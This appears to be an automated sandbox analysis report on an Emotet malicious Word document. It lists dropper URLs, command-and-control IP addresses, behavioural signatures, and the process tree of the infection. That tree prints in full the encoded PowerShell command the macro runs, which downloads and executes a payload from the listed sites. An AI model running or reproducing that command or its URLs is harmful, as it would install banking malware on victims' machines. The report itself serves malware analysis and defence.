Analysis

  • max time kernel
    145s
  • max time network
    138s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    07/08/2020, 11:12

General

  • Target
    SI3326352814UW.doc
  • Size 164KB
  • Sample200807-mrbvb1e5gj
  • SHA256 ee027ba8eb249165a6b4ced43776c362fe3378870deab870556aa490a411eac0
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://www.novelideas.com/editor/x_fr6_s15/

  • exe.dropper

    https://nationalboilermaking.com.au/verimages/2_hnrh_z6b/

  • exe.dropper

    http://norahkhi.com/cgi-bin/3_69_x/

  • exe.dropper

    http://nightowlmusic.net/news=year/8s9a4_rd_bgq/

  • exe.dropper

    http://nsb.org.uk/plesk-stat/auai_ow6_n1w7n7/

Extracted

Family
  • emotet

C2
  • 47.146.32.175:80

  • 212.51.142.238:8080

  • 200.55.243.138:8080

  • 114.146.222.200:80

  • 153.126.210.205:7080

  • 121.124.124.40:7080

  • 222.214.218.37:4143

  • 67.241.24.163:8080

  • 180.92.239.110:8080

  • 203.153.216.189:7080

  • 119.198.40.179:80

  • 70.167.215.250:8080

  • 168.235.67.138:7080

  • 190.55.181.54:443

  • 139.59.60.244:8080

  • 189.212.199.126:443

  • 78.24.219.147:8080

  • 61.19.246.238:443

  • 137.59.187.107:8080

  • 87.106.139.101:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SI3326352814UW.doc" /o ""
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Enumerates system info in registry
    • Suspicious use of SetWindowsHookEx
    • Checks processor information in registry
    PID:424
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABLAEcAVABUAEIAYQBkAGcAPQAnAFUAWABTAFEAQQByAHUAbwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwBgAFUAYABSAGkAVAB5AFAAUgBgAE8AVABvAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARwBOAEYATQBHAHUAeABhACAAPQAgACcAOQA0ADAAJwA7ACQARABVAEQARABPAG4AbgBsAD0AJwBTAEkAQQBHAEkAdgB2AG4AJwA7ACQAUABMAEEAUwBTAGwAZAB2AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABHAE4ARgBNAEcAdQB4AGEAKwAnAC4AZQB4AGUAJwA7ACQAVgBLAEEAUABMAGQAagB4AD0AJwBRAE4ATwBTAFMAdgBiAHcAJwA7ACQAQQBBAFYARwBNAGsAZABrAD0ALgAoACcAbgBlAHcAJwArACcALQBvACcAKwAnAGIAagBlAGMAdAAnACkAIABOAGUAdAAuAFcARQBCAEMATABpAGUAbgB0ADsAJABXAE4AUABIAEoAZQB1AHoAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBuAG8AdgBlAGwAaQBkAGUAYQBzAC4AYwBvAG0ALwBlAGQAaQB0AG8AcgAvAHgAXwBmAHIANgBfAHMAMQA1AC8AKgBoAHQAdABwAHMAOgAvAC8AbgBhAHQAaQBvAG4AYQBsAGIAbwBpAGwAZQByAG0AYQBrAGkAbgBnAC4AYwBvAG0ALgBhAHUALwB2AGUAcgBpAG0AYQBnAGUAcwAvADIAXwBoAG4AcgBoAF8AegA2AGIALwAqAGgAdAB0AHAAOgAvAC8AbgBvAHIAYQBoAGsAaABpAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AMwBfADYAOQBfAHgALwAqAGgAdAB0AHAAOgAvAC8AbgBpAGcAaAB0AG8AdwBsAG0AdQBzAGkAYwAuAG4AZQB0AC8AbgBlAHcAcwA9AHkAZQBhAHIALwA4AHMAOQBhADQAXwByAGQAXwBiAGcAcQAvACoAaAB0AHQAcAA6AC8ALwBuAHMAYgAuAG8AcgBnAC4AdQBrAC8AcABsAGUAcwBrAC0AcwB0AGEAdAAvAGEAdQBhAGkAXwBvAHcANgBfAG4AMQB3ADcAbgA3AC8AJwAuACIAcwBgAFAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIAEQARQBGAE4AbwBnAG8APQAnAFUAUgBKAFUARgBkAHcAcwAnADsAZgBvAHIAZQBhAGMAaAAoACQARQBPAFUARABJAGYAZgB1ACAAaQBuACAAJABXAE4AUABIAEoAZQB1AHoAKQB7AHQAcgB5AHsAJABBAEEAVgBHAE0AawBkAGsALgAiAEQAYABvAFcAbgBgAEwATwBBAGQARgBpAEwARQAiACgAJABFAE8AVQBEAEkAZgBmAHUALAAgACQAUABMAEEAUwBTAGwAZAB2ACkAOwAkAFYATwBKAEEAVAByAG8AeAA9ACcASQBBAFEARQBFAG0AaABuACcAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAUABMAEEAUwBTAGwAZAB2ACkALgAiAEwAZQBgAE4AZwBgAFQAaAAiACAALQBnAGUAIAAyADcANQA1ADEAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAcgBgAEUAYABBAFQARQAiACgAJABQAEwAQQBTAFMAbABkAHYAKQA7ACQAUABXAEwASQBXAGQAbwBnAD0AJwBWAEgASwBWAFoAaABmAGgAJwA7AGIAcgBlAGEAawA7ACQARwBKAE4AUgBRAHEAeQBvAD0AJwBQAE0AVwBOAFIAdQBkAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASwBGAE0AWABFAGsAeQBjAD0AJwBZAEUAUgBXAFkAZQBjAGgAJwA=
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    PID:4052
  • C:\Users\Admin\940.exe
    C:\Users\Admin\940.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3644
    • C:\Windows\SysWOW64\nddeapi\cmutil.exe
      "C:\Windows\SysWOW64\nddeapi\cmutil.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      PID:3288

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/424-0-0x00007FFE30550000-0x00007FFE30C16000-memory.dmp

        memory/3288-16-0x0000000000761000-0x0000000000762000-memory.dmp

        memory/3288-17-0x0000000000560000-0x000000000056C000-memory.dmp

        memory/3644-12-0x0000000000621000-0x0000000000622000-memory.dmp

        memory/3644-13-0x0000000000550000-0x000000000055C000-memory.dmp

        memory/4052-7-0x00007FFE28A20000-0x00007FFE2940C000-memory.dmp

        memory/4052-8-0x0000028D34850000-0x0000028D34851000-memory.dmp

        memory/4052-9-0x0000028D4CCD0000-0x0000028D4CCD1000-memory.dmp